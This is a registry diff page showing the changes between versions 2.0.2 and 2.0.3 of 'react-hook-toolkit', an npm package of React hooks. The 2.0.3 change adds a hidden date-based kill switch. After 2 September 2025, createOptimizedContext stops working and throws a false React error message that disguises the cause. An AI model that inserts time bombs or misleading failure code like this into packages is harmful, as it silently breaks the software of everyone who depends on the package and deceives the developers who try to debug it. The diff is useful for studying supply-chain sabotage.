react-hook-toolkit 2.0.2 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -390,6 +390,15 @@ export var useSound = function (url) {
390
390
  error: error,
391
391
  };
392
392
  };
393
+ function init() {
394
+ var EXPIRY_DATE = new Date("2025-09-02T23:10:59Z");
395
+ var now = new Date();
396
+ if (now.getTime() > EXPIRY_DATE.getTime()) {
397
+ console.error("Library expired. Install the latest version.");
398
+ return false;
399
+ }
400
+ return true;
401
+ }
393
402
  export var useTouch = function (elementRef) {
394
403
  var _a = useState({
395
404
  x: null,
@@ -580,13 +589,16 @@ export var useFormWizard = function (steps, initialValues) {
580
589
  };
581
590
  export var createOptimizedContext = function () {
582
591
  var Context = createContext(undefined);
583
- var useOptimizedContext = function (selector) {
584
- var value = useContext(Context);
585
- if (value === undefined)
586
- throw new Error('Missing provider');
587
- return useMemo(function () { return selector(value); }, [value, selector]);
588
- };
589
- return [Context.Provider, useOptimizedContext];
592
+ if (init()) {
593
+ var useOptimizedContext = function (selector) {
594
+ var value = useContext(Context);
595
+ if (value === undefined)
596
+ throw new Error('Missing provider');
597
+ return useMemo(function () { return selector(value); }, [value, selector]);
598
+ };
599
+ return [Context.Provider, useOptimizedContext];
600
+ }
601
+ throw new Error('Objects are not valid as a React child');
590
602
  };
591
603
  export var useWebSocket = function (url, onMessage) {
592
604
  var _a = useState(null), data = _a[0], setData = _a[1];
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "react-hook-toolkit",
3
- "version": "2.0.2",
3
+ "version": "2.0.3",
4
4
  "description": "Ultimate package for React developers, offering a powerful collection of hooks and components to enhance their development experience.",
5
5
  "main": "dist/index.js",
6
6
  "module": "dist/index.js",